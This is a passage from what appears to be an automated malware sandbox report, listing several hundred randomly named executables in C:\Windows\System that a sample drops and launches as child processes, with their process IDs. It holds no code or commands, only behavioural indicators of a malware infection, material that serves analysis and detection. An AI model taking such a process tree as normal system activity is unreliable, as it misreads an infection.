  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\szCPvAE.exe
  C:\Windows\System\szCPvAE.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\fryOFlX.exe
  C:\Windows\System\fryOFlX.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\System\nJHACLg.exe
  C:\Windows\System\nJHACLg.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\YUaKsuL.exe
  C:\Windows\System\YUaKsuL.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\uZgdxus.exe
  C:\Windows\System\uZgdxus.exe
  2⤵
  - Executes dropped EXE
  PID:1356
- C:\Windows\System\sZPncbp.exe
  C:\Windows\System\sZPncbp.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\CrcUPMr.exe
  C:\Windows\System\CrcUPMr.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\vyNLotS.exe
  C:\Windows\System\vyNLotS.exe
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Windows\System\HVwOrTn.exe
  C:\Windows\System\HVwOrTn.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\PZvdepJ.exe
  C:\Windows\System\PZvdepJ.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\REhtQRm.exe
  C:\Windows\System\REhtQRm.exe
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Windows\System\QYNRsZI.exe
  C:\Windows\System\QYNRsZI.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\TPOxhPH.exe
  C:\Windows\System\TPOxhPH.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\XKLTrxD.exe
  C:\Windows\System\XKLTrxD.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\PKoWJEF.exe
  C:\Windows\System\PKoWJEF.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\SDQmiMt.exe
  C:\Windows\System\SDQmiMt.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\nQrqpxO.exe
  C:\Windows\System\nQrqpxO.exe
  2⤵
  - Executes dropped EXE
  PID:484
- C:\Windows\System\jLIUWQu.exe
  C:\Windows\System\jLIUWQu.exe
  2⤵
  - Executes dropped EXE
  PID:1072
- C:\Windows\System\ydtgYuu.exe
  C:\Windows\System\ydtgYuu.exe
  2⤵
  - Executes dropped EXE
  PID:540
- C:\Windows\System\JTgEJKU.exe
  C:\Windows\System\JTgEJKU.exe
  2⤵
  - Executes dropped EXE
  PID:604
- C:\Windows\System\PVPiDiJ.exe
  C:\Windows\System\PVPiDiJ.exe
  2⤵
  - Executes dropped EXE
  PID:768
- C:\Windows\System\PoplFdH.exe
  C:\Windows\System\PoplFdH.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\RnuwNTy.exe
  C:\Windows\System\RnuwNTy.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\wurtnGM.exe
  C:\Windows\System\wurtnGM.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\kdqeFGZ.exe
  C:\Windows\System\kdqeFGZ.exe
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\System\tBREdbE.exe
  C:\Windows\System\tBREdbE.exe
  2⤵
  - Executes dropped EXE
  PID:1220
- C:\Windows\System\WMPREII.exe
  C:\Windows\System\WMPREII.exe
  2⤵
  - Executes dropped EXE
  PID:1956
- C:\Windows\System\NYSHtPO.exe
  C:\Windows\System\NYSHtPO.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\tkQoZIY.exe
  C:\Windows\System\tkQoZIY.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\SqnCxGd.exe
  C:\Windows\System\SqnCxGd.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\MRqJgpx.exe
  C:\Windows\System\MRqJgpx.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\WrFTXDd.exe
  C:\Windows\System\WrFTXDd.exe
  2⤵
  - Executes dropped EXE
  PID:1940
- C:\Windows\System\SeMGWNr.exe
  C:\Windows\System\SeMGWNr.exe
  2⤵
  - Executes dropped EXE
  PID:2232
- C:\Windows\System\sCzoWkA.exe
  C:\Windows\System\sCzoWkA.exe
  2⤵
  - Executes dropped EXE
  PID:284
- C:\Windows\System\sRqQnEp.exe
  C:\Windows\System\sRqQnEp.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\uRwkBMW.exe
  C:\Windows\System\uRwkBMW.exe
  2⤵
  - Executes dropped EXE
  PID:2140
- C:\Windows\System\UkxsdXx.exe
  C:\Windows\System\UkxsdXx.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\StVzflc.exe
  C:\Windows\System\StVzflc.exe
  2⤵
  - Executes dropped EXE
  PID:1708
- C:\Windows\System\yfFcSwJ.exe
  C:\Windows\System\yfFcSwJ.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\XSsDUWO.exe
  C:\Windows\System\XSsDUWO.exe
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Windows\System\nhbPbxF.exe
  C:\Windows\System\nhbPbxF.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\etVjxkF.exe
  C:\Windows\System\etVjxkF.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\riWwDPw.exe
  C:\Windows\System\riWwDPw.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\tFPnnsG.exe
  C:\Windows\System\tFPnnsG.exe
  2⤵
  - Executes dropped EXE
  PID:1528
- C:\Windows\System\rlNUJBd.exe
  C:\Windows\System\rlNUJBd.exe
  2⤵
  - Executes dropped EXE
  PID:1644
- C:\Windows\System\BvIxjjt.exe
  C:\Windows\System\BvIxjjt.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\TlsowmT.exe
  C:\Windows\System\TlsowmT.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\YVnaykf.exe
  C:\Windows\System\YVnaykf.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\XPuuulV.exe
  C:\Windows\System\XPuuulV.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\KVerZpv.exe
  C:\Windows\System\KVerZpv.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\gMjEifY.exe
  C:\Windows\System\gMjEifY.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\EciQPZu.exe
  C:\Windows\System\EciQPZu.exe
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\ILaGHQp.exe
  C:\Windows\System\ILaGHQp.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\aWdGdkb.exe
  C:\Windows\System\aWdGdkb.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\MMlJSvk.exe
  C:\Windows\System\MMlJSvk.exe
  2⤵
  - Executes dropped EXE
  PID:2540
- C:\Windows\System\itCHplR.exe
  C:\Windows\System\itCHplR.exe
  2⤵
  PID:2060
- C:\Windows\System\GTbHbhX.exe
  C:\Windows\System\GTbHbhX.exe
  2⤵
  PID:2736
- C:\Windows\System\ZewNeib.exe
  C:\Windows\System\ZewNeib.exe
  2⤵
  PID:1420
- C:\Windows\System\ctHVMfT.exe
  C:\Windows\System\ctHVMfT.exe
  2⤵
  PID:1620
- C:\Windows\System\RnoskHF.exe
  C:\Windows\System\RnoskHF.exe
  2⤵
  PID:1612
- C:\Windows\System\fJTJLAH.exe
  C:\Windows\System\fJTJLAH.exe
  2⤵
  PID:2844
- C:\Windows\System\hFMRfkp.exe
  C:\Windows\System\hFMRfkp.exe
  2⤵
  PID:1808
- C:\Windows\System\sQxBsbh.exe
  C:\Windows\System\sQxBsbh.exe
  2⤵
  PID:292
- C:\Windows\System\LxUIhom.exe
  C:\Windows\System\LxUIhom.exe
  2⤵
  PID:2472
- C:\Windows\System\UukkVFK.exe
  C:\Windows\System\UukkVFK.exe
  2⤵
  PID:1400
- C:\Windows\System\PrJWeXo.exe
  C:\Windows\System\PrJWeXo.exe
  2⤵
  PID:2372
- C:\Windows\System\bMxrNID.exe
  C:\Windows\System\bMxrNID.exe
  2⤵
  PID:1836
- C:\Windows\System\olLfxJh.exe
  C:\Windows\System\olLfxJh.exe
  2⤵
  PID:2236
- C:\Windows\System\FBKXyLa.exe
  C:\Windows\System\FBKXyLa.exe
  2⤵
  PID:2528
- C:\Windows\System\tgSsSck.exe
  C:\Windows\System\tgSsSck.exe
  2⤵
  PID:1456
- C:\Windows\System\KfdexOz.exe
  C:\Windows\System\KfdexOz.exe
  2⤵
  PID:1476
- C:\Windows\System\DJrZIVJ.exe
  C:\Windows\System\DJrZIVJ.exe
  2⤵
  PID:1628
- C:\Windows\System\zyjMoeE.exe
  C:\Windows\System\zyjMoeE.exe
  2⤵
  PID:2112
- C:\Windows\System\nKHJLah.exe
  C:\Windows\System\nKHJLah.exe
  2⤵
  PID:1776
- C:\Windows\System\dALjvHm.exe
  C:\Windows\System\dALjvHm.exe
  2⤵
  PID:2544
- C:\Windows\System\GvtczeA.exe
  C:\Windows\System\GvtczeA.exe
  2⤵
  PID:1704
- C:\Windows\System\PrUUegT.exe
  C:\Windows\System\PrUUegT.exe
  2⤵
  PID:352
- C:\Windows\System\qyfzAYi.exe
  C:\Windows\System\qyfzAYi.exe
  2⤵
  PID:2072
- C:\Windows\System\GAyEXSh.exe
  C:\Windows\System\GAyEXSh.exe
  2⤵
  PID:2380
- C:\Windows\System\gSPkIPj.exe
  C:\Windows\System\gSPkIPj.exe
  2⤵
  PID:1964
- C:\Windows\System\cQNqZyV.exe
  C:\Windows\System\cQNqZyV.exe
  2⤵
  PID:1924
- C:\Windows\System\IQzkhxg.exe
  C:\Windows\System\IQzkhxg.exe
  2⤵
  PID:2028
- C:\Windows\System\qOXsxcx.exe
  C:\Windows\System\qOXsxcx.exe
  2⤵
  PID:1812
- C:\Windows\System\dvMHiEe.exe
  C:\Windows\System\dvMHiEe.exe
  2⤵
  PID:1304
- C:\Windows\System\HUBYNAf.exe
  C:\Windows\System\HUBYNAf.exe
  2⤵
  PID:984
- C:\Windows\System\nFyCbnB.exe
  C:\Windows\System\nFyCbnB.exe
  2⤵
  PID:692
- C:\Windows\System\wPYIGfx.exe
  C:\Windows\System\wPYIGfx.exe
  2⤵
  PID:1236
- C:\Windows\System\yZmRpsx.exe
  C:\Windows\System\yZmRpsx.exe
  2⤵
  PID:960
- C:\Windows\System\qkyZtyL.exe
  C:\Windows\System\qkyZtyL.exe
  2⤵
  PID:2668
- C:\Windows\System\seMPiAt.exe
  C:\Windows\System\seMPiAt.exe
  2⤵
  PID:3020
- C:\Windows\System\lCIPfGT.exe
  C:\Windows\System\lCIPfGT.exe
  2⤵
  PID:608
- C:\Windows\System\wgfZBjC.exe
  C:\Windows\System\wgfZBjC.exe
  2⤵
  PID:2268
- C:\Windows\System\HYahgPF.exe
  C:\Windows\System\HYahgPF.exe
  2⤵
  PID:2068
- C:\Windows\System\zgNCEMK.exe
  C:\Windows\System\zgNCEMK.exe
  2⤵
  PID:1112
- C:\Windows\System\RhVQRgm.exe
  C:\Windows\System\RhVQRgm.exe
  2⤵
  PID:3004
- C:\Windows\System\fqOFfBq.exe
  C:\Windows\System\fqOFfBq.exe
  2⤵
  PID:1432
- C:\Windows\System\WBoJMMg.exe
  C:\Windows\System\WBoJMMg.exe
  2⤵
  PID:2940
- C:\Windows\System\EHEFcTV.exe
  C:\Windows\System\EHEFcTV.exe
  2⤵
  PID:2708
- C:\Windows\System\veGUeSe.exe
  C:\Windows\System\veGUeSe.exe
  2⤵
  PID:2760
- C:\Windows\System\gkNnMPW.exe
  C:\Windows\System\gkNnMPW.exe
  2⤵
  PID:2808
- C:\Windows\System\ivBVSgN.exe
  C:\Windows\System\ivBVSgN.exe
  2⤵
  PID:2412
- C:\Windows\System\zyHOjNA.exe
  C:\Windows\System\zyHOjNA.exe
  2⤵
  PID:1348
- C:\Windows\System\RAvzhnV.exe
  C:\Windows\System\RAvzhnV.exe
  2⤵
  PID:3052
- C:\Windows\System\wWWEWoR.exe
  C:\Windows\System\wWWEWoR.exe
  2⤵
  PID:1948
- C:\Windows\System\MAihnXP.exe
  C:\Windows\System\MAihnXP.exe
  2⤵
  PID:2612
- C:\Windows\System\YFlLFBb.exe
  C:\Windows\System\YFlLFBb.exe
  2⤵
  PID:2728
- C:\Windows\System\TgfIwgw.exe
  C:\Windows\System\TgfIwgw.exe
  2⤵
  PID:2520
- C:\Windows\System\rlqnnux.exe
  C:\Windows\System\rlqnnux.exe
  2⤵
  PID:2792
- C:\Windows\System\LbWVnkN.exe
  C:\Windows\System\LbWVnkN.exe
  2⤵
  PID:1244
- C:\Windows\System\qfteUei.exe
  C:\Windows\System\qfteUei.exe
  2⤵
  PID:2896
- C:\Windows\System\khCyhjV.exe
  C:\Windows\System\khCyhjV.exe
  2⤵
  PID:1588
- C:\Windows\System\tjUxrwY.exe
  C:\Windows\System\tjUxrwY.exe
  2⤵
  PID:2004
- C:\Windows\System\gHSLSTj.exe
  C:\Windows\System\gHSLSTj.exe
  2⤵
  PID:2208
- C:\Windows\System\XTvoYMU.exe
  C:\Windows\System\XTvoYMU.exe
  2⤵
  PID:1684
- C:\Windows\System\YdqRjqx.exe
  C:\Windows\System\YdqRjqx.exe
  2⤵
  PID:2976
- C:\Windows\System\aEHqzbK.exe
  C:\Windows\System\aEHqzbK.exe
  2⤵
  PID:2104
- C:\Windows\System\IVRdBrG.exe
  C:\Windows\System\IVRdBrG.exe
  2⤵
  PID:1108
- C:\Windows\System\aklixMS.exe
  C:\Windows\System\aklixMS.exe
  2⤵
  PID:1700
- C:\Windows\System\CIZaIEH.exe
  C:\Windows\System\CIZaIEH.exe
  2⤵
  PID:1880
- C:\Windows\System\hZQmFWC.exe
  C:\Windows\System\hZQmFWC.exe
  2⤵
  PID:2464
- C:\Windows\System\dpXVKoj.exe
  C:\Windows\System\dpXVKoj.exe
  2⤵
  PID:1364
- C:\Windows\System\bizzuHZ.exe
  C:\Windows\System\bizzuHZ.exe
  2⤵
  PID:316
- C:\Windows\System\hIuhZIS.exe
  C:\Windows\System\hIuhZIS.exe
  2⤵
  PID:2036
- C:\Windows\System\IsHvwBt.exe
  C:\Windows\System\IsHvwBt.exe
  2⤵
  PID:1740
- C:\Windows\System\prIYAxk.exe
  C:\Windows\System\prIYAxk.exe
  2⤵
  PID:1768
- C:\Windows\System\ZurFPWd.exe
  C:\Windows\System\ZurFPWd.exe
  2⤵
  PID:1044
- C:\Windows\System\Pykfzdw.exe
  C:\Windows\System\Pykfzdw.exe
  2⤵
  PID:2156
- C:\Windows\System\SorqWOx.exe
  C:\Windows\System\SorqWOx.exe
  2⤵
  PID:1860
- C:\Windows\System\YhbPJNX.exe
  C:\Windows\System\YhbPJNX.exe
  2⤵
  PID:2368
- C:\Windows\System\zQkNAsk.exe
  C:\Windows\System\zQkNAsk.exe
  2⤵
  PID:2404
- C:\Windows\System\JNXiIqq.exe
  C:\Windows\System\JNXiIqq.exe
  2⤵
  PID:1928
- C:\Windows\System\PSBSbSx.exe
  C:\Windows\System\PSBSbSx.exe
  2⤵
  PID:884
- C:\Windows\System\vQawaic.exe
  C:\Windows\System\vQawaic.exe
  2⤵
  PID:2640
- C:\Windows\System\DujOxLn.exe
  C:\Windows\System\DujOxLn.exe
  2⤵
  PID:2776
- C:\Windows\System\RZaPtjW.exe
  C:\Windows\System\RZaPtjW.exe
  2⤵
  PID:2812
- C:\Windows\System\mPkvQud.exe
  C:\Windows\System\mPkvQud.exe
  2⤵
  PID:2692
- C:\Windows\System\mAOtncc.exe
  C:\Windows\System\mAOtncc.exe
  2⤵
  PID:2508
- C:\Windows\System\OEwYFDx.exe
  C:\Windows\System\OEwYFDx.exe
  2⤵
  PID:2804
- C:\Windows\System\ifbqWWf.exe
  C:\Windows\System\ifbqWWf.exe
  2⤵
  PID:536
- C:\Windows\System\DESIPKy.exe
  C:\Windows\System\DESIPKy.exe
  2⤵
  PID:1568
- C:\Windows\System\cicnuxX.exe
  C:\Windows\System\cicnuxX.exe
  2⤵
  PID:1900
- C:\Windows\System\yuaMgkB.exe
  C:\Windows\System\yuaMgkB.exe
  2⤵
  PID:2280
- C:\Windows\System\Jawxmzv.exe
  C:\Windows\System\Jawxmzv.exe
  2⤵
  PID:3060
- C:\Windows\System\sLpvVfi.exe
  C:\Windows\System\sLpvVfi.exe
  2⤵
  PID:852
- C:\Windows\System\lcoxqWe.exe
  C:\Windows\System\lcoxqWe.exe
  2⤵
  PID:2020
- C:\Windows\System\hCbjUSA.exe
  C:\Windows\System\hCbjUSA.exe
  2⤵
  PID:900
- C:\Windows\System\FGAxBXA.exe
  C:\Windows\System\FGAxBXA.exe
  2⤵
  PID:1556
- C:\Windows\System\kRpFxpe.exe
  C:\Windows\System\kRpFxpe.exe
  2⤵
  PID:2076
- C:\Windows\System\JOxvikm.exe
  C:\Windows\System\JOxvikm.exe
  2⤵
  PID:2820
- C:\Windows\System\QMysNho.exe
  C:\Windows\System\QMysNho.exe
  2⤵
  PID:2616
- C:\Windows\System\OYTyZii.exe
  C:\Windows\System\OYTyZii.exe
  2⤵
  PID:2240
- C:\Windows\System\GrIxHXm.exe
  C:\Windows\System\GrIxHXm.exe
  2⤵
  PID:2796
- C:\Windows\System\fpTemIh.exe
  C:\Windows\System\fpTemIh.exe
  2⤵
  PID:448
- C:\Windows\System\EYAwRrQ.exe
  C:\Windows\System\EYAwRrQ.exe
  2⤵
  PID:2672
- C:\Windows\System\WLPmJBf.exe
  C:\Windows\System\WLPmJBf.exe
  2⤵
  PID:1688
- C:\Windows\System\mKYJajt.exe
  C:\Windows\System\mKYJajt.exe
  2⤵
  PID:1216
- C:\Windows\System\aeTqLnS.exe
  C:\Windows\System\aeTqLnS.exe
  2⤵
  PID:2956
- C:\Windows\System\hxdRfXc.exe
  C:\Windows\System\hxdRfXc.exe
  2⤵
  PID:2900
- C:\Windows\System\WhEBqeK.exe
  C:\Windows\System\WhEBqeK.exe
  2⤵
  PID:580
- C:\Windows\System\pEGnoEz.exe
  C:\Windows\System\pEGnoEz.exe
  2⤵
  PID:2180
- C:\Windows\System\exFRpyc.exe
  C:\Windows\System\exFRpyc.exe
  2⤵
  PID:1580
- C:\Windows\System\MIlpfpE.exe
  C:\Windows\System\MIlpfpE.exe
  2⤵
  PID:1832
- C:\Windows\System\MDYLJdX.exe
  C:\Windows\System\MDYLJdX.exe
  2⤵
  PID:1732
- C:\Windows\System\ZkbxNMk.exe
  C:\Windows\System\ZkbxNMk.exe
  2⤵
  PID:1408
- C:\Windows\System\jCHXafq.exe
  C:\Windows\System\jCHXafq.exe
  2⤵
  PID:3088
- C:\Windows\System\Dpbazif.exe
  C:\Windows\System\Dpbazif.exe
  2⤵
  PID:3104
- C:\Windows\System\RGPpllv.exe
  C:\Windows\System\RGPpllv.exe
  2⤵
  PID:3120
- C:\Windows\System\TGisXcx.exe
  C:\Windows\System\TGisXcx.exe
  2⤵
  PID:3136
- C:\Windows\System\pkShpJJ.exe
  C:\Windows\System\pkShpJJ.exe
  2⤵
  PID:3152
- C:\Windows\System\VlawymM.exe
  C:\Windows\System\VlawymM.exe
  2⤵
  PID:3172
- C:\Windows\System\SUfkVBh.exe
  C:\Windows\System\SUfkVBh.exe
  2⤵
  PID:3188
- C:\Windows\System\geqFUEv.exe
  C:\Windows\System\geqFUEv.exe
  2⤵
  PID:3204
- C:\Windows\System\NXmimsa.exe
  C:\Windows\System\NXmimsa.exe
  2⤵
  PID:3220
- C:\Windows\System\BzJOkGk.exe
  C:\Windows\System\BzJOkGk.exe
  2⤵
  PID:3236
- C:\Windows\System\tCANbgs.exe
  C:\Windows\System\tCANbgs.exe
  2⤵
  PID:3256
- C:\Windows\System\wojUNIB.exe
  C:\Windows\System\wojUNIB.exe
  2⤵
  PID:3272
- C:\Windows\System\pYcPgZn.exe
  C:\Windows\System\pYcPgZn.exe
  2⤵
  PID:3288
- C:\Windows\System\bSJDlyI.exe
  C:\Windows\System\bSJDlyI.exe
  2⤵
  PID:3304
- C:\Windows\System\BRpNHib.exe
  C:\Windows\System\BRpNHib.exe
  2⤵
  PID:3320
- C:\Windows\System\XMkiQfj.exe
  C:\Windows\System\XMkiQfj.exe
  2⤵
  PID:3464
- C:\Windows\System\cOmDiTj.exe
  C:\Windows\System\cOmDiTj.exe
  2⤵
  PID:3480
- C:\Windows\System\FZApNRF.exe
  C:\Windows\System\FZApNRF.exe
  2⤵
  PID:3496
- C:\Windows\System\chTCsgX.exe
  C:\Windows\System\chTCsgX.exe
  2⤵
  PID:3512
- C:\Windows\System\hBpocEb.exe
  C:\Windows\System\hBpocEb.exe
  2⤵
  PID:3528
- C:\Windows\System\UIQNmeK.exe
  C:\Windows\System\UIQNmeK.exe
  2⤵
  PID:3544
- C:\Windows\System\karPnul.exe
  C:\Windows\System\karPnul.exe
  2⤵
  PID:3560
- C:\Windows\System\CWRRVSu.exe
  C:\Windows\System\CWRRVSu.exe
  2⤵
  PID:3576
- C:\Windows\System\SGncDqL.exe
  C:\Windows\System\SGncDqL.exe
  2⤵
  PID:3592
- C:\Windows\System\FTETcwe.exe
  C:\Windows\System\FTETcwe.exe
  2⤵
  PID:3608
- C:\Windows\System\enwoCWt.exe
  C:\Windows\System\enwoCWt.exe
  2⤵
  PID:3624
- C:\Windows\System\yaITLCt.exe
  C:\Windows\System\yaITLCt.exe
  2⤵
  PID:3640
- C:\Windows\System\rSngOmI.exe
  C:\Windows\System\rSngOmI.exe
  2⤵
  PID:3660
- C:\Windows\System\YKSlGxy.exe
  C:\Windows\System\YKSlGxy.exe
  2⤵
  PID:3676
- C:\Windows\System\uPMaoMq.exe
  C:\Windows\System\uPMaoMq.exe
  2⤵
  PID:3692
- C:\Windows\System\xhfanWJ.exe
  C:\Windows\System\xhfanWJ.exe
  2⤵
  PID:3764
- C:\Windows\System\ztgfznJ.exe
  C:\Windows\System\ztgfznJ.exe
  2⤵
  PID:3780
- C:\Windows\System\quxOeRA.exe
  C:\Windows\System\quxOeRA.exe
  2⤵
  PID:3796
- C:\Windows\System\nvejOCQ.exe
  C:\Windows\System\nvejOCQ.exe
  2⤵
  PID:3812
- C:\Windows\System\YPjSyrv.exe
  C:\Windows\System\YPjSyrv.exe
  2⤵
  PID:3828
- C:\Windows\System\WUfiQIm.exe
  C:\Windows\System\WUfiQIm.exe
  2⤵
  PID:3844
- C:\Windows\System\FLnUMJi.exe
  C:\Windows\System\FLnUMJi.exe
  2⤵
  PID:3860
- C:\Windows\System\NDRNNcX.exe
  C:\Windows\System\NDRNNcX.exe
  2⤵
  PID:3876
- C:\Windows\System\xNGIcKo.exe
  C:\Windows\System\xNGIcKo.exe
  2⤵
  PID:3896
- C:\Windows\System\QJYvdxj.exe
  C:\Windows\System\QJYvdxj.exe
  2⤵
  PID:3916
- C:\Windows\System\PQzyiIV.exe
  C:\Windows\System\PQzyiIV.exe
  2⤵
  PID:3932
- C:\Windows\System\ExjdIwe.exe
  C:\Windows\System\ExjdIwe.exe
  2⤵
  PID:3948
- C:\Windows\System\wKbQHLk.exe
  C:\Windows\System\wKbQHLk.exe
  2⤵
  PID:3968
- C:\Windows\System\lcCqqzS.exe
  C:\Windows\System\lcCqqzS.exe
  2⤵
  PID:3984
- C:\Windows\System\KeQeZhm.exe
  C:\Windows\System\KeQeZhm.exe
  2⤵
  PID:4000
- C:\Windows\System\mCjHeqP.exe
  C:\Windows\System\mCjHeqP.exe
  2⤵
  PID:4016
- C:\Windows\System\plwFQoM.exe
  C:\Windows\System\plwFQoM.exe
  2⤵
  PID:4032
- C:\Windows\System\HkTUNBp.exe
  C:\Windows\System\HkTUNBp.exe
  2⤵
  PID:4048
- C:\Windows\System\Bfsavwl.exe
  C:\Windows\System\Bfsavwl.exe
  2⤵
  PID:4064
- C:\Windows\System\MDchTVU.exe
  C:\Windows\System\MDchTVU.exe
  2⤵
  PID:4084
- C:\Windows\System\oKXitTW.exe
  C:\Windows\System\oKXitTW.exe
  2⤵
  PID:2420
- C:\Windows\System\DLwaAoP.exe
  C:\Windows\System\DLwaAoP.exe
  2⤵
  PID:1460
- C:\Windows\System\vuUqOGR.exe
  C:\Windows\System\vuUqOGR.exe
  2⤵
  PID:1888
- C:\Windows\System\bAgYdiK.exe
  C:\Windows\System\bAgYdiK.exe
  2⤵
  PID:3128
- C:\Windows\System\FXMUIGL.exe
  C:\Windows\System\FXMUIGL.exe
  2⤵
  PID:3168
- C:\Windows\System\Ahioiqj.exe
  C:\Windows\System\Ahioiqj.exe
  2⤵
  PID:3232
- C:\Windows\System\GYrHlwR.exe
  C:\Windows\System\GYrHlwR.exe
  2⤵
  PID:3336
- C:\Windows\System\ZVgFGvS.exe
  C:\Windows\System\ZVgFGvS.exe
  2⤵
  PID:3352
- C:\Windows\System\rDAVGTp.exe
  C:\Windows\System\rDAVGTp.exe
  2⤵
  PID:3364
- C:\Windows\System\tOYZkYp.exe
  C:\Windows\System\tOYZkYp.exe
  2⤵
  PID:3380
- C:\Windows\System\VPPPfTD.exe
  C:\Windows\System\VPPPfTD.exe
  2⤵
  PID:3268
- C:\Windows\System\vHLrQvy.exe
  C:\Windows\System\vHLrQvy.exe
  2⤵
  PID:3404
- C:\Windows\System\jzKDbBd.exe
  C:\Windows\System\jzKDbBd.exe
  2⤵
  PID:3248
- C:\Windows\System\fVeZkdJ.exe
  C:\Windows\System\fVeZkdJ.exe
  2⤵
  PID:3420
- C:\Windows\System\FoTlynE.exe
  C:\Windows\System\FoTlynE.exe
  2⤵
  PID:1468
- C:\Windows\System\LLKFigg.exe
  C:\Windows\System\LLKFigg.exe
  2⤵
  PID:828
- C:\Windows\System\XdzpTvQ.exe
  C:\Windows\System\XdzpTvQ.exe
  2⤵
  PID:1640
- C:\Windows\System\AclkxVi.exe
  C:\Windows\System\AclkxVi.exe
  2⤵
  PID:3084
- C:\Windows\System\CCXjpBI.exe
  C:\Windows\System\CCXjpBI.exe
  2⤵
  PID:3148
- C:\Windows\System\yPAsFdT.exe
  C:\Windows\System\yPAsFdT.exe
  2⤵
  PID:3216
- C:\Windows\System\mQJhRcK.exe
  C:\Windows\System\mQJhRcK.exe
  2⤵
  PID:1572
- C:\Windows\System\pwqZGxH.exe
  C:\Windows\System\pwqZGxH.exe
  2⤵
  PID:3432
- C:\Windows\System\BfUjQib.exe
  C:\Windows\System\BfUjQib.exe
  2⤵
  PID:3488
- C:\Windows\System\iuoDsbq.exe
  C:\Windows\System\iuoDsbq.exe
  2⤵
  PID:3552
- C:\Windows\System\iEQDvwH.exe
  C:\Windows\System\iEQDvwH.exe
  2⤵
  PID:3616
- C:\Windows\System\UIJbOlL.exe
  C:\Windows\System\UIJbOlL.exe
  2⤵
  PID:3656
- C:\Windows\System\NjVBAGf.exe
  C:\Windows\System\NjVBAGf.exe
  2⤵
  PID:3632
- C:\Windows\System\oavproe.exe
  C:\Windows\System\oavproe.exe
  2⤵
  PID:3636
- C:\Windows\System\oQyaaDd.exe
  C:\Windows\System\oQyaaDd.exe
  2⤵
  PID:3772
- C:\Windows\System\YyOFDuM.exe
  C:\Windows\System\YyOFDuM.exe
  2⤵
  PID:3836
- C:\Windows\System\XDDuDUV.exe
  C:\Windows\System\XDDuDUV.exe
  2⤵
  PID:3872
- C:\Windows\System\VeaBwYh.exe
  C:\Windows\System\VeaBwYh.exe
  2⤵
  PID:3940
- C:\Windows\System\CopLpDz.exe
  C:\Windows\System\CopLpDz.exe
  2⤵
  PID:3980
- C:\Windows\System\LLEiHTx.exe
  C:\Windows\System\LLEiHTx.exe
  2⤵
  PID:4100
- C:\Windows\System\CkigUAD.exe
  C:\Windows\System\CkigUAD.exe
  2⤵
  PID:4120
- C:\Windows\System\JkQGvwU.exe
  C:\Windows\System\JkQGvwU.exe
  2⤵
  PID:4136
- C:\Windows\System\CAauhVz.exe
  C:\Windows\System\CAauhVz.exe
  2⤵
  PID:4152
- C:\Windows\System\givAbfw.exe
  C:\Windows\System\givAbfw.exe
  2⤵
  PID:4168
- C:\Windows\System\WfLKgfd.exe
  C:\Windows\System\WfLKgfd.exe
  2⤵
  PID:4184
- C:\Windows\System\OqdwUTF.exe
  C:\Windows\System\OqdwUTF.exe
  2⤵
  PID:4200
- C:\Windows\System\kyRxaHl.exe
  C:\Windows\System\kyRxaHl.exe
  2⤵
  PID:4220
- C:\Windows\System\GzTWifY.exe
  C:\Windows\System\GzTWifY.exe
  2⤵
  PID:4236
- C:\Windows\System\zYKMVHE.exe
  C:\Windows\System\zYKMVHE.exe
  2⤵
  PID:4252
- C:\Windows\System\ZOQcuXv.exe
  C:\Windows\System\ZOQcuXv.exe
  2⤵
  PID:4268
- C:\Windows\System\qZlGCue.exe
  C:\Windows\System\qZlGCue.exe
  2⤵
  PID:4284
- C:\Windows\System\BVTasAz.exe
  C:\Windows\System\BVTasAz.exe
  2⤵
  PID:4300
- C:\Windows\System\LnzMKdY.exe
  C:\Windows\System\LnzMKdY.exe
  2⤵
  PID:4316
- C:\Windows\System\MvlZkmF.exe
  C:\Windows\System\MvlZkmF.exe
  2⤵
  PID:4336
- C:\Windows\System\vzZXQaL.exe
  C:\Windows\System\vzZXQaL.exe
  2⤵
  PID:4352
- C:\Windows\System\TcZwLXD.exe
  C:\Windows\System\TcZwLXD.exe
  2⤵
  PID:4368
